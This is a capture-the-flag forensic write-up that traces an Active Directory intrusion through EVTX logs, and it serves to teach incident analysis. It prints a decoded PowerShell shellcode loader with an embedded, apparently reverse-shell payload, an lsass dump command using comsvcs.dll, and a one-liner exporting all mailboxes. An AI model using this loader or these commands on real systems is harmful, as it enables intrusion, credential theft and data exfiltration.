FCSC 2024 - SOC Simulator serie - Forensic

10 minute read

This is the write-up of SOC Simulator challenge which was in the Forensic category for the FCSC 2024. It involves EVTX analysis of a Windows Active Directory where an attack occurred. Our goal is to find the various steps taken by the attacker.

Description

Common introduction to the SOC Simulator series

In the summer of 2022, an operator of vital importance (OIV) alerts the ANSSI because it believes it is the victim of a major cyber attack. The OIV’s security operation center (SOC) sends ANSSI an export of its system collection over the last few days. Your job is to understand the attacker’s actions.

Note: The 5 parts are numbered in the chronological order of the attack, but it is not necessary to solve them in order.

File : soc_events.zip (EVTX files)

Resolution

Step 1 - Initial vector

Find the name of the vulnerability and the UTC time of the first attempt to exploit it.

Flag format (case insensitive): FCSC{EternalBlue|2021-11-27T17:38}

So our goal is to find how the attacker entered in the network of the AD (Active Directory). We have the EVTX log files of the Active Directory during three days.

$ ls
20220704  20220705  20220706
$ ls -l 20220704 20220705 20220706 | wc -l
458

There are many files, which I sorted by date in each directory. To view the content of the EVTX files we could use the Windows utility to view them, but it would be a pain to open them all in a row and try to find something by magic.

So we could use a tool to parse/analyse the EVTX files with some rules and get a cool CSV to be analyzed by us. There are some tools to do that, for exemple hayabusa and chainsaw. In my case, I used hayabusa which is helpfull.

Basic command :

$ ~/Tools/hayabusa/hayabusa-2.13.0-lin-x64-gnu csv-timeline -d ~/Share-VMs/win/soc_events/ -o ~/Share-VMs/win/all.csv

We only have to take care of the level of rules we are going to set. It will change the content and the informations. In my case, I first used only critical and high level criticity rules but after I saw that I had lost some information, I decided to put almost all the rules to the CV.

So now we have multiples CSVs to analyze (I made one CSV by day to be more precise and facilitate the analysis). To view it, we could use TimelineExplorer which is easy to set rules and view the CV correctly.

Now we have a nice setup to start the analysis.

I first sort by criticity level of detection to see if there are critical event alerts.

We could see that on July 5, there was a Windows Defender alert that says there was an exploitation of the CVE-2021-31207 aka ProxyShell vulnerability. This exploitation occurs on the exchange server (Windows Mail server). So I first thought this was the time of the exploitation but It wasn’t. This alert occurs several hours later, after the real exploitation moment. I could find the same alert on July 6 at same hour. So It was basically a scheduled task scan of Windows Defender.

But we have a hint, there are many chances this is a ProxyShell vulnerability that was exploited. It’s recent and was hugely exploited when It was discovered.

ProxyShell abuse of the New-MailboxExportRequest (https://news.sophos.com/en-us/2021/08/23/proxyshell-vulnerabilities-in-microsoft-exchange-what-to-do/) so we could search if there are some suspicions.

We have two export requests, which look really suspicious. When I did the challenge, I didn"t notice the level of the event, but hayabusa detected It with its rules as critical and “Mail Export to Exchange WebServer”.

If we google the path used for the aspx C$\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

We quickly find that is this associated with a webshell insertion on the exchange server, which now allows the attacker to execute command on the server and get the initial access.

So we have the flag for the first step, there are two export but we only need the first in time.

Flag : FCSC{ProxyShell|2022-07-04T15:36}

Step 2 - Stealing secrets 1

After the action seen in Part 1, the attacker steals the system credentials from memory.Find the GUID of the process performing this theft and the name of the file where it writes the stolen secrets.

Flag format (case insensitive): FCSC{6ccf8905-a033-4edc-8ed7-0a4b0a411e15|C:\Windows\Users\toto\Desktop\fichier.pdf}

Now we have to find out how the attacker found credentials. We have the information that this was with memory. So we could quickly think that the attacker dumped the lsass memory to find the credentials.

The parsed CSV by hayabusa gives us the information very quickly, with the high level detection there is this:

This command : "C:\Windows\system32\rundll32.exe" C:\Windows\System32\comsvcs.dll MiniDump 652 attr.exe full was executed on the exchange server approximately 10 minutes after the webshell insertion.

If we google the comsvcs.dll we quickly find his lolbas page : https://lolbas-project.github.io/lolbas/Libraries/comsvcs/ . This DLL could be used to dump a process memory using is function MiniDump. The PID is specified, and the file name result also, in our case, it’s attr.exe.

We have the GUID in an event : b99a131f-0d4b-62c3-ce03-00000000db0

Now we need to find the Directory where the attr.exe file was dropped.

This information was not present in the CSV, so I decided to see with the window’s event viewer. Just using grep like this, we could find the evtx associated with:

rg -i "attr.exe" --binary -E UTF-16 ~/Share-VMs/win/soc_events/
~/Share-VMs/win/soc_events/20220704/20220704T175527.evtx: binary file matches (found "\0" byte around offset 10)

And read the event at the right time :

C:\Windows\System32\inetsrv\ was the directory when the command was executed. Flag : FCSC{b99a131f-0d4b-62c3-ce03-00000000db01|C:\Windows\System32\inetsrv\attr.exe}

Step 5 - Stealing secrets 2

On the machine identified in part 4, the attacker again steals system secrets. Find the GUID of the process carrying out this theft and the name of the file where he writes the stolen secrets.

Flag format (case insensitive): FCSC{6ccf8905-a033-4edc-8ed7-0a4b0a411e15|C:\Windows\Users\toto\Desktop\fichier.pdf}.

Let’s jump into step 5 directly because It was easier than the 3rd and 4th steps.

The machine identified in part 4 is the Workstation2 (from the description). So we need to find an another memory dump of the lsass process.

There are MSF alert rules that were triggered by windows defender on the Workstation2, so we could guess the lsass dump should be near this moment.

Filtering the csv with TimelineExplorer on the machine Workstation2 and scrolling a bit, we could find this.

So we have the path (“lsass.DMP” file can’t be legit) C:\Users\Administrator\AppData\Local\Temp\3\lsass.DMP}, now we need to find out how the dump occurs.

A strings and grep is enough :

$ rg "lsass.DMP" --binary -E UTF-16 20220704 20220705 20220706
20220706/20220706T180641.evtx: binary file matches (found "\0" byte around offset 10)

20220706/20220706T181946.evtx: binary file matches (found "\0" byte around offset 10)
$ strings -el 20220706/20220706T180641.evtx | grep -C 5 "lsass.DMP"
        ProcessId
RuleName
UtcTime
2022-07-06 16:05:01.901
ProcessGuid
&{b7e8a6b7-b273-62c5-bc11-00000000d301}
        ProcessId
6744
Image
C:\Windows\system32\taskmgr.exe
TargetFilename
0C:\Users\ADMINI~1\AppData\Local\Temp\3\lsass.DMP
CreationUtcTime
2022-07-06 16:05:01.901
User
WORKSTATION2\Administrator
5http://schemas.microsoft.com/win/2004/08/events/event
Microsoft-Windows-Sysmon
&{5770385f-c22a-43e0-bf4c-06f5698ffbd9}
0x8000000000000000
2022-07-06T16:05:02.308540600Z
36598

Remember to strings with the el option because strings are in UTF-16 in EVTX.

We see the C:\Windows\system32\taskmgr.exe path which is the task manager of Windows, so basically, the attacker opened the taskmanager and created a memory dump of the lsass process with a right click.

So we have the flag : FCSC{b7e8a6b7-b273-62c5-bc11-00000000d301|C:\Users\Administrator\AppData\Local\Temp\3\lsass.DMP}

Step 4 - Lateralization

Over a short period of time, the attacker tried to connect to numerous machines, as if trying to reuse the secrets stolen in part 2. This enabled him to connect to the Workstation2 machine. Find the source IP, the account used and the UTC time of this connection.

Flag format (case insensitive): FCSC{192.168.42.27|MYCORP\Technician|2021-11-27T17:38:54}.

Regarding the description, there were bruteforce which could be seen in the EVTX. EVTX contains event IDs that describe the type of the event. We could use this to know when a user was logged on and when a user failed his logon.

The fail logon event ID is the 4625. We could set a rule on Timeline Explorer to observe them.

There was a failed logon with a wrong password on the Workstation2 with the user ben.bidon. It confused me during the resolution because It was the only failed logon with a domain user on the Workstation2 machine. The user was logged on just after the failed logon but It could be legit, and It was because It wasn’t the flag…

There is no sign of brute force around this failed password, but here:

There is a failed password with multiples machines in a time range of one second, looks clearly like a brute force of the Administrator (local machine user). We could change the filter to also take the logon event id (4624) and see if a connexion succeeds in this time range.

A few minutes later, there is a another bruteforce like the first one, but this time Workstation2 returns a Logon and not a failure, so this time the spraying password worked and the attacker is logged in.

We could find the IP address and the account in the event description related.

Flag : FCSC{172.16.20.20|WORKSTATION2\Administrator|2022-07-06T13:26:57}

Step 3 - Exfiltration

Following on from what we saw earlier, the attacker has collected a large amount of business data. Find the command used to collect all these elements.

Flag format: FCSC{sha256(<command in UTF8 without line feed>)}

For example, if the malicious command was 7z a "Stolen files.zip" C:\Windows\System32, the flag would be FCSC{bc5640e69c335a8dbe369db382666070e05198a6c18ce88498563d2c4ac187b1}.

In the last part, we need to find an exfiltration of data, especially the command which allows to get the buisness data.

We know it’s “Following on from what we saw earlier” so we could assume this command was runned on the exchange server.

To get the commands we could filter the data value of the csv with “Cmdline:”

Quickly come across those supsicious powershell commands:

Rabbit hole - Undestand powershell payloads

Here is one of the commands extracted:

Looks obfuscated. We could extract it and put it on Virus Total, confirmed it’s malicious and flagged by some rules. It could be a known sample of a variant. There were three commands like this, which are malicious.

Let’s take it and try to decode It.

In red, we could see keywords. We know it may be a sort of first stage, so it’s going to decode some data and run a second stage. There is a base64 decode and a GZIP decode. We could try to reconstruct the base64, it’s a bit obfuscated with {1}{2}{3} symbols.

Here is how the base64 is reconstructed, it replaces the 1 2 3 variables with the next 3 characters (in red).

Quick python script on we obtain the stage 2 :

function xTk {
        Param ($v3H, $mIBhs)
        $oE = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

        return $oE.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($oE.GetMethod('GetModuleHandle')).Invoke($null, @($v3H)))), $mIBhs))
}

function cSp_ {
        Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $oK7,
                [Parameter(Position = 1)] [Type] $t3_ = [Void]
        )

        $f_ = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
        $f_.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $oK7).SetImplementationFlags('Runtime, Managed')
        $f_.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $t3_, $oK7).SetImplementationFlags('Runtime, Managed')

        return $f_.CreateType()
}

[Byte[]]$c4RI = [System.Convert]::FromBase64String("/EiD5PDozAAAAEFRQVBSUUgx0mVIi1JgSItSGFZIi1IgSItyUE0xyUgPt0pKSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0ESLQCBJAdCLSBhQ41ZNMclI/8lBizSISAHWSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCADCAEsBdVkFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1WoKQV5QUE0xyU0xwEj/wEiJwkj/wEiJwUG66g/f4P/VSInHahBBWEyJ4kiJ+UG6maV0Yf/VhcB0DEn/znXlaPC1olb/1UiD7BBIieJNMclqBEFYSIn5QboC2chf/9VIg8QgXon2akBBWWgAEAAAQVhIifJIMclBulikU+X/1UiJw0mJx00xyUmJ8EiJ2kiJ+UG6AtnIX//VSAHDSCnGSIX2deFB/+c=")
[Uint32]$ixB6 = 0
$bEeFY = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xTk kernel32.dll VirtualAlloc), (cSp_ @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $c4RI.Length,0x3000, 0x04)

[System.Runtime.InteropServices.Marshal]::Copy($c4RI, 0, $bEeFY, $c4RI.length)
if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xTk kernel32.dll VirtualProtect), (cSp_ @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($bEeFY, [Uint32]$c4RI.Length, 0x10, [Ref]$ixB6)) -eq $true) {
        $gKB = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xTk kernel32.dll CreateThread), (cSp_ @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$bEeFY,[IntPtr]::Zero,0,[IntPtr]::Zero)
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((xTk kernel32.dll WaitForSingleObject), (cSp_ @([IntPtr], [Int32]))).Invoke($gKB,0xffffffff) | Out-Null
}

Here we see VirtualProtect call which is commonly used by malwares to map a shellcode to an executable memory. Here there is no encryption, we could extract the base64 and load it in IDA as 64 bits intel architecture.

Bunch of calls seems to be a reverse shell or something similar. I didn’t debug it because it takes time, and my goal was to find a command. I thought the command could have been there, but no. I decoded some payloads and they were all the same. I used wireshark and a shellcode runner to find out if there was a weird behavior, accessing files etc… but only find IP related to threat actors searching them in Virus Total.

The right way

I reverse the obfuscated payload because we never know and I didn’t notice any command line related to exfiltration. I try to grep for basic strings like “rar”, “zip”,… I did big bash onliners to exclude legit commands and checked the manual commands if there were.

So I go back to timeline explorer and scroll with a filter on the exchange machine.

I didn’t notice about the event 4104 “Script Block Logging” (https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics). It records the powershell commands. So I made a wrong assumption, I tought all commands where with the Cmdline data related to process creation (event 4688) but there are commands which are not and which are recorded with the 4104 event, executed PowerShell commands.

So we could use grep to extract all the powershells commands run on the exchange:

Got It ! We see here New-MailboxExportRequest which are put in C:\windows\system32\xwin with $Mailbox.Alias, so basically, this command exports all the mails of all employees and create a pst export file in C:\windows\system32\xwin directory for each user.

We have the command, there are two, but the first may fail so the command changed a little bit, here it is:

foreach ($Mailbox in (Get-Mailbox -ResultSize Unlimited)) {New-MailboxExportRequest -Mailbox $Mailbox.DisplayName -FilePath "\\exchange\C$\windows\system32\xwin\($Mailbox.Alias).pst"}

Flag : FCSC{2ee0ab1d44c759b09159ef21900c9826239a7b63e25c0e5935f200d30348b588}

Conclusion

It was a pretty cool serie, thanks to the author ! It’s not common to have many EVTX to analyze during forensic challenges and even less of an Active Directory which was nicely simulated (with automatic script/etc…), It was a good exercise!